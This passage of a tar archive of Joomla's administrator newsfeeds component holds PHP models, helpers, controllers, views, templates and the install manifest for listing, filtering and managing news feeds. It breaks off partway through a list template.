		$this->setState('filter.language', $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '', 'string'));
		$this->setState('filter.tag', $this->getUserStateFromRequest($this->context . '.filter.tag', 'filter_tag', '', 'string'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', null, 'int'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_newsfeeds');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);

		// Force a language.
		if (!empty($forcedLanguage))
		{
			$this->setState('filter.language', $forcedLanguage);
		}
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.category_id');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.language');
		$id .= ':' . $this->getState('filter.level');
		$id .= ':' . serialize($this->getState('filter.tag'));

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);
		$user  = JFactory::getUser();
		$app   = JFactory::getApplication();

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.name, a.alias, a.checked_out, a.checked_out_time, a.catid,' .
				' a.numarticles, a.cache_time, a.created_by,' .
				' a.published, a.access, a.ordering, a.language, a.publish_up, a.publish_down'
			)
		);
		$query->from($db->quoteName('#__newsfeeds', 'a'));

		// Join over the language
		$query->select($db->quoteName('l.title', 'language_title'))
			->select($db->quoteName('l.image', 'language_image'))
			->join('LEFT', $db->quoteName('#__languages', 'l') . ' ON ' . $db->qn('l.lang_code') . ' = ' . $db->qn('a.language'));

		// Join over the users for the checked out user.
		$query->select($db->quoteName('uc.name', 'editor'))
			->join('LEFT', $db->quoteName('#__users', 'uc') . ' ON ' . $db->qn('uc.id') . ' = ' . $db->qn('a.checked_out'));

		// Join over the asset groups.
		$query->select($db->quoteName('ag.title', 'access_level'))
			->join('LEFT', $db->quoteName('#__viewlevels', 'ag') . ' ON ' . $db->qn('ag.id') . ' = ' . $db->qn('a.access'));

		// Join over the categories.
		$query->select($db->quoteName('c.title', 'category_title'))
			->join('LEFT', $db->quoteName('#__categories', 'c') . ' ON ' . $db->qn('c.id') . ' = ' . $db->qn('a.catid'));

		// Join over the associations.
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			$subQuery = $db->getQuery(true)
				->select('COUNT(' . $db->quoteName('asso1.id') . ') > 1')
				->from($db->quoteName('#__associations', 'asso1'))
				->join('INNER', $db->quoteName('#__associations', 'asso2') . ' ON ' . $db->quoteName('asso1.key') . ' = ' . $db->quoteName('asso2.key'))
				->where(
					array(
						$db->quoteName('asso1.id') . ' = ' . $db->quoteName('a.id'),
						$db->quoteName('asso1.context') . ' = ' . $db->quote('com_newsfeeds.item'),
					)
				);

			$query->select('(' . $subQuery . ') AS ' . $db->quoteName('association'));
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where($db->quoteName('a.access') . ' = ' . (int) $access);
		}

		// Implement View Level Access
		if (!$user->authorise('core.admin'))
		{
			$query->where($db->quoteName('a.access') . ' IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
		}

		// Filter by published state.
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where($db->quoteName('a.published') . ' = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where($db->quoteName('a.published') . ' IN (0, 1)');
		}

		// Filter by category.
		$categoryId = $this->getState('filter.category_id');

		if (is_numeric($categoryId))
		{
			$query->where($db->quoteName('a.catid') . ' = ' . (int) $categoryId);
		}

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where($db->quoteName('c.level') . ' <= ' . (int) $level);
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(a.name LIKE ' . $search . ' OR a.alias LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where($db->quoteName('a.language') . ' = ' . $db->quote($language));
		}

		// Filter by a single or group of tags.
		$tag = $this->getState('filter.tag');

		// Run simplified query when filtering by one tag.
		if (\is_array($tag) && \count($tag) === 1)
		{
			$tag = $tag[0];
		}

		if ($tag && \is_array($tag))
		{
			$tag = ArrayHelper::toInteger($tag);

			$subQuery = $db->getQuery(true)
				->select('DISTINCT ' . $db->quoteName('content_item_id'))
				->from($db->quoteName('#__contentitem_tag_map'))
				->where(
					array(
						$db->quoteName('tag_id') . ' IN (' . implode(',', $tag) . ')',
						$db->quoteName('type_alias') . ' = ' . $db->quote('com_newsfeeds.newsfeed'),
					)
				);

			$query->join(
				'INNER',
				'(' . $subQuery . ') AS ' . $db->quoteName('tagmap')
					. ' ON ' . $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
			);
		}
		elseif ($tag = (int) $tag)
		{
			$query->join(
				'INNER',
				$db->quoteName('#__contentitem_tag_map', 'tagmap')
				. ' ON ' . $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
			)
				->where(
					array(
						$db->quoteName('tagmap.tag_id') . ' = ' . $tag,
						$db->quoteName('tagmap.type_alias') . ' = ' . $db->quote('com_newsfeeds.newsfeed'),
					)
				);
		}

		// Add the list ordering clause.
		$orderCol  = $this->state->get('list.ordering', 'a.name');
		$orderDirn = $this->state->get('list.direction', 'ASC');

		if ($orderCol == 'a.ordering' || $orderCol == 'category_title')
		{
			$orderCol = 'c.title ' . $orderDirn . ', a.ordering';
		}

		$query->order($db->escape($orderCol . ' ' . $orderDirn));

		return $query;
	}
}
com_newsfeeds/helpers/html/newsfeed.php000060400000004764152455305270014323 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('NewsfeedsHelper', JPATH_ADMINISTRATOR . '/components/com_newsfeeds/helpers/newsfeeds.php');

/**
 * Utility class for creating HTML Grids.
 *
 * @since  1.5
 */
class JHtmlNewsfeed
{
	/**
	 * Get the associated language flags
	 *
	 * @param   int  $newsfeedid  The item id to search associations
	 *
	 * @return  string  The language HTML
	 *
	 * @throws  Exception  Throws a 500 Exception on Database failure
	 */
	public static function association($newsfeedid)
	{
		// Defaults
		$html = '';

		// Get the associations
		if ($associations = JLanguageAssociations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', $newsfeedid))
		{
			foreach ($associations as $tag => $associated)
			{
				$associations[$tag] = (int) $associated->id;
			}

			// Get the associated newsfeed items
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select('c.id, c.name as title')
				->select('l.sef as lang_sef, lang_code')
				->from('#__newsfeeds as c')
				->select('cat.title as category_title')
				->join('LEFT', '#__categories as cat ON cat.id=c.catid')
				->where('c.id IN (' . implode(',', array_values($associations)) . ')')
				->where('c.id != ' . $newsfeedid)
				->join('LEFT', '#__languages as l ON c.language=l.lang_code')
				->select('l.image')
				->select('l.title as language_title');
			$db->setQuery($query);

			try
			{
				$items = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				throw new Exception($e->getMessage(), 500);
			}

			if ($items)
			{
				foreach ($items as &$item)
				{
					$text = strtoupper($item->lang_sef);
					$url = JRoute::_('index.php?option=com_newsfeeds&task=newsfeed.edit&id=' . (int) $item->id);
					$tooltip = htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8') . '<br />' . JText::sprintf('JCATEGORY_SPRINTF', $item->category_title);
					$classes = 'hasPopover label label-association label-' . $item->lang_sef;

					$item->link = '<a href="' . $url . '" title="' . $item->language_title . '" class="' . $classes
						. '" data-content="' . $tooltip . '" data-placement="top">'
						. $text . '</a>';
				}
			}

			JHtml::_('bootstrap.popover');

			$html = JLayoutHelper::render('joomla.content.associations', $items);
		}

		return $html;
	}
}
com_newsfeeds/helpers/newsfeeds.php000060400000003762152455305270013537 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Newsfeeds component helper.
 *
 * @since  1.6
 */
class NewsfeedsHelper extends JHelperContent
{
	public static $extension = 'com_newsfeeds';

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_NEWSFEEDS_SUBMENU_NEWSFEEDS'),
			'index.php?option=com_newsfeeds&view=newsfeeds',
			$vName == 'newsfeeds'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_NEWSFEEDS_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_newsfeeds',
			$vName == 'categories'
		);
	}

	/**
	 * Adds Count Items for Category Manager.
	 *
	 * @param   stdClass[]  &$items  The category objects
	 *
	 * @return  stdClass[]
	 *
	 * @since   3.5
	 */
	public static function countItems(&$items)
	{
		$config = (object) array(
			'related_tbl'   => 'newsfeeds',
			'state_col'     => 'published',
			'group_col'     => 'catid',
			'relation_type' => 'category_or_group',
		);

		return parent::countRelations($items, $config);
	}

	/**
	 * Adds Count Items for Tag Manager.
	 *
	 * @param   stdClass[]  &$items     The tag objects
	 * @param   string      $extension  The name of the active view.
	 *
	 * @return  stdClass[]
	 *
	 * @since   3.6
	 */
	public static function countTagItems(&$items, $extension)
	{
		$parts   = explode('.', $extension);
		$section = count($parts) > 1 ? $parts[1] : null;

		$config = (object) array(
			'related_tbl'   => ($section === 'category' ? 'categories' : 'newsfeeds'),
			'state_col'     => 'published',
			'group_col'     => 'tag_id',
			'extension'     => $extension,
			'relation_type' => 'tag_assigments',
		);

		return parent::countRelations($items, $config);
	}
}
com_newsfeeds/helpers/associations.php000060400000007135152455305270014251 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Association\AssociationExtensionHelper;

JTable::addIncludePath(__DIR__ . '/../tables');

/**
 * Content associations helper.
 *
 * @since  3.7.0
 */
class NewsfeedsAssociationsHelper extends AssociationExtensionHelper
{
	/**
	 * The extension name
	 *
	 * @var       array   $extension
	 *
	 * @since    3.7.0
	 */
	protected $extension = 'com_newsfeeds';

	/**
	 * Array of item types
	 *
	 * @var       array   $itemTypes
	 *
	 * @since    3.7.0
	 */
	protected $itemTypes = array('newsfeed', 'category');

	/**
	 * Has the extension association support
	 *
	 * @var       boolean   $associationsSupport
	 *
	 * @since    3.7.0
	 */
	protected $associationsSupport = true;

	/**
	 * Get the associated items for an item
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public function getAssociations($typeName, $id)
	{
		$type = $this->getType($typeName);

		$context    = $this->extension . '.item';
		$catidField = 'catid';

		if ($typeName === 'category')
		{
			$context    = 'com_categories.item';
			$catidField = '';
		}

		// Get the associations.
		$associations = JLanguageAssociations::getAssociations(
			$this->extension,
			$type['tables']['a'],
			$context,
			$id,
			'id',
			'alias',
			$catidField
		);

		return $associations;
	}

	/**
	 * Get item information
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  JTable|null
	 *
	 * @since   3.7.0
	 */
	public function getItem($typeName, $id)
	{
		if (empty($id))
		{
			return null;
		}

		$table = null;

		switch ($typeName)
		{
			case 'newsfeed':
				$table = JTable::getInstance('Newsfeed', 'NewsfeedsTable');
				break;

			case 'category':
				$table = JTable::getInstance('Category');
				break;
		}

		if (empty($table))
		{
			return null;
		}

		$table->load($id);

		return $table;
	}

	/**
	 * Get information about the type
	 *
	 * @param   string  $typeName  The item type
	 *
	 * @return  array  Array of item types
	 *
	 * @since   3.7.0
	 */
	public function getType($typeName = '')
	{
		$fields  = $this->getFieldsTemplate();
		$tables  = array();
		$joins   = array();
		$support = $this->getSupportTemplate();
		$title   = '';

		if (in_array($typeName, $this->itemTypes))
		{
			switch ($typeName)
			{
				case 'newsfeed':
					$fields['title'] = 'a.name';
					$fields['state'] = 'a.published';

					$support['state'] = true;
					$support['acl'] = true;
					$support['checkout'] = true;
					$support['category'] = true;
					$support['save2copy'] = true;

					$tables = array(
						'a' => '#__newsfeeds'
					);
					$title = 'newsfeed';
					break;

				case 'category':
					$fields['created_user_id'] = 'a.created_user_id';
					$fields['ordering'] = 'a.lft';
					$fields['level'] = 'a.level';
					$fields['catid'] = '';
					$fields['state'] = 'a.published';

					$support['state'] = true;
					$support['acl'] = true;
					$support['checkout'] = true;
					$support['level'] = true;

					$tables = array(
						'a' => '#__categories'
					);

					$title = 'category';
					break;
			}
		}

		return array(
			'fields'  => $fields,
			'support' => $support,
			'tables'  => $tables,
			'joins'   => $joins,
			'title'   => $title
		);
	}
}
com_newsfeeds/controllers/ajax.json.php000060400000004522152455305270014346 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * The newsfeed controller for ajax requests
 *
 * @since  3.9.0
 */
class NewsfeedsControllerAjax extends JControllerLegacy
{
	/**
	 * Method to fetch associations of a newsfeed
	 *
	 * The method assumes that the following http parameters are passed in an Ajax Get request:
	 * token: the form token
	 * assocId: the id of the newsfeed whose associations are to be returned
	 * excludeLang: the association for this language is to be excluded
	 *
	 * @return  null
	 *
	 * @since  3.9.0
	 */
	public function fetchAssociations()
	{
		if (!JSession::checkToken('get'))
		{
			echo new JResponseJson(null, JText::_('JINVALID_TOKEN'), true);
		}
		else
		{
			$input = JFactory::getApplication()->input;

			$assocId = $input->getInt('assocId', 0);

			if ($assocId == 0)
			{
				echo new JResponseJson(null, JText::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'assocId'), true);

				return;
			}

			$excludeLang = $input->get('excludeLang', '', 'STRING');

			$associations = JLanguageAssociations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', (int) $assocId);

			unset($associations[$excludeLang]);

			// Add the title to each of the associated records
			JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_newsfeeds/tables');
			$newsfeedsTable = JTable::getInstance('Newsfeed', 'NewsfeedsTable');

			foreach ($associations as $lang => $association)
			{
				$newsfeedsTable->load($association->id);
				$associations[$lang]->title = $newsfeedsTable->name;
			}

			$countContentLanguages = count(LanguageHelper::getContentLanguages(array(0, 1)));

			if (count($associations) == 0)
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE');
			}
			elseif ($countContentLanguages > count($associations) + 2)
			{
				$tags    = implode(', ', array_keys($associations));
				$message = JText::sprintf('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME', $tags);
			}
			else
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL');
			}

			echo new JResponseJson($associations, $message);
		}
	}
}
com_newsfeeds/controllers/newsfeed.php000060400000005736152455305270014263 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Newsfeed controller class.
 *
 * @since  1.6
 */
class NewsfeedsControllerNewsfeed extends JControllerForm
{
	/**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		$categoryId = ArrayHelper::getValue($data, 'catid', $this->input->getInt('filter_category_id'), 'int');
		$allow = null;

		if ($categoryId)
		{
			// If the category has been passed in the URL check it.
			$allow = JFactory::getUser()->authorise('core.create', $this->option . '.category.' . $categoryId);
		}

		if ($allow === null)
		{
			// In the absence of better information, revert to the component permissions.
			return parent::allowAdd($data);
		}
		else
		{
			return $allow;
		}
	}

	/**
	 * Method to check if you can edit a record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;

		// Since there is no asset tracking, fallback to the component permissions.
		if (!$recordId)
		{
			return parent::allowEdit($data, $key);
		}

		// Get the item.
		$item = $this->getModel()->getItem($recordId);

		// Since there is no item, return false.
		if (empty($item))
		{
			return false;
		}

		$user = JFactory::getUser();

		// Check if can edit own core.edit.own.
		$canEditOwn = $user->authorise('core.edit.own', $this->option . '.category.' . (int) $item->catid) && $item->created_by == $user->id;

		// Check the category core.edit permissions.
		return $canEditOwn || $user->authorise('core.edit', $this->option . '.category.' . (int) $item->catid);
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		$model = $this->getModel('Newsfeed', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_newsfeeds&view=newsfeeds' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Function that allows child controller access to model data after the data has been saved.
	 *
	 * @param   JModelLegacy  $model      The data model object.
	 * @param   array         $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{

	}
}
com_newsfeeds/controllers/newsfeeds.php000060400000002314152455305270014433 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Newsfeeds list controller class.
 *
 * @since  1.6
 */
class NewsfeedsControllerNewsfeeds extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Newsfeed', $prefix = 'NewsfeedsModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Function that allows child controller access to model data
	 * after the item has been deleted.
	 *
	 * @param   JModelLegacy  $model  The data model object.
	 * @param   integer       $ids    The validated data.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	protected function postDeleteHook(JModelLegacy $model, $ids = null)
	{
	}
}
com_newsfeeds/newsfeeds.xml000060400000004310152455305270012074 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_newsfeeds</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_NEWSFEEDS_XML_DESCRIPTION</description>
	<install> <!-- Runs on install -->
		<sql>
			<file driver="mysql" charset="utf8">sql/install.mysql.utf8.sql</file>
		</sql>
	</install>
	<uninstall> <!-- Runs on uninstall -->
		<sql>
			<file driver="mysql" charset="utf8">sql/uninstall.mysql.utf8.sql</file>
		</sql>
	</uninstall>

	<files folder="site">
		<filename>controller.php</filename>
		<filename>metadata.xml</filename>
		<filename>newsfeeds.php</filename>
		<filename>router.php</filename>
		<folder>helpers</folder>
		<folder>models</folder>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_newsfeeds.ini</language>
	</languages>
	<administration>
		<menu img="class:newsfeeds">com_newsfeeds</menu>
		<submenu>
			<!--
				Note that all & must be escaped to &amp; for the file to be valid
				XML and be parsed by the installer
			-->
			<menu link="option=com_newsfeeds" view="feeds" img="class:newsfeeds"
				alt="Newsfeeds/Feeds">com_newsfeeds_feeds</menu>
			<menu link="option=com_categories&amp;extension=com_newsfeeds"
				view="categories" img="class:newsfeeds-cat" alt="Newsfeeds/Categories">com_newsfeeds_categories</menu>
		</submenu>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>newsfeeds.php</filename>
			<folder>controllers</folder>
			<folder>elements</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_newsfeeds.ini</language>
			<language tag="en-GB">language/en-GB.com_newsfeeds.sys.ini</language>
		</languages>
	</administration>
</extension>
com_newsfeeds/views/newsfeeds/view.html.php000060400000012653152455305270015146 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of newsfeeds.
 *
 * @since  1.6
 */
class NewsfeedsViewNewsfeeds extends JViewLegacy
{
	/**
	 * The list of newsfeeds
	 *
	 * @var    JObject
	 * @since  1.6
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 * @since  1.6
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var    JObject
	 * @since  1.6
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Modal layout doesn't need the submenu.
		if ($this->getLayout() !== 'modal')
		{
			NewsfeedsHelper::addSubmenu('newsfeeds');
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		// We don't need toolbar in the modal layout.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
		}
		else
		{
			// In article associations modal we need to remove language filter if forcing a language.
			// We also need to change the category filter to show show categories with All or the forced language.
			if ($forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
			{
				// If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field.
				$languageXml = new SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />');
				$this->filterForm->setField($languageXml, 'filter', true);

				// Also, unset the active language filter so the search tools is not open by default with this filter.
				unset($this->activeFilters['language']);

				// One last changes needed is to change the category filter to just show categories with All language or with the forced language.
				$this->filterForm->setFieldAttribute('category_id', 'language', '*,' . $forcedLanguage, 'filter');
			}
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');
		$canDo = JHelperContent::getActions('com_newsfeeds', 'category', $state->get('filter.category_id'));
		$user  = JFactory::getUser();

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');
		JToolbarHelper::title(JText::_('COM_NEWSFEEDS_MANAGER_NEWSFEEDS'), 'feed newsfeeds');

		if (count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0)
		{
			JToolbarHelper::addNew('newsfeed.add');
		}

		if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
		{
			JToolbarHelper::editList('newsfeed.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('newsfeeds.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('newsfeeds.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::archiveList('newsfeeds.archive');
		}

		if ($canDo->get('core.admin'))
		{
			JToolbarHelper::checkin('newsfeeds.checkin');
		}

		// Add a batch button
		if ($user->authorise('core.create', 'com_newsfeeds')
			&& $user->authorise('core.edit', 'com_newsfeeds')
			&& $user->authorise('core.edit.state', 'com_newsfeeds'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'newsfeeds.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('newsfeeds.trash');
		}

		if ($user->authorise('core.admin', 'com_newsfeeds') || $user->authorise('core.options', 'com_newsfeeds'))
		{
			JToolbarHelper::preferences('com_newsfeeds');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_NEWSFEEDS_FEEDS');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering'     => JText::_('JGRID_HEADING_ORDERING'),
			'a.published'    => JText::_('JSTATUS'),
			'a.name'         => JText::_('JGLOBAL_TITLE'),
			'category_title' => JText::_('JCATEGORY'),
			'a.access'       => JText::_('JGRID_HEADING_ACCESS'),
			'numarticles'    => JText::_('COM_NEWSFEEDS_NUM_ARTICLES_HEADING'),
			'a.cache_time'   => JText::_('COM_NEWSFEEDS_CACHE_TIME_HEADING'),
			'a.language'     => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.id'           => JText::_('JGRID_HEADING_ID')
		);
	}
}
com_newsfeeds/views/newsfeeds/tmpl/default_batch_body.php000060400000001751152455305270020004 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$published = (int) $this->state->get('filter.published');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.language'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.access'); ?>
			</div>
		</div>
	</div>
	<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JHtml::_('batch.item', 'com_newsfeeds'); ?>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.tag'); ?>
			</div>
		</div>
	</div>
</div>
com_newsfeeds/views/newsfeeds/tmpl/default.php000060400000020103152455305270015616 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$assoc     = JLanguageAssociations::isEnabled();

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_newsfeeds&task=newsfeeds.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'newsfeedList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_newsfeeds&view=newsfeeds'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
	<?php else : ?>
	<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"></div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
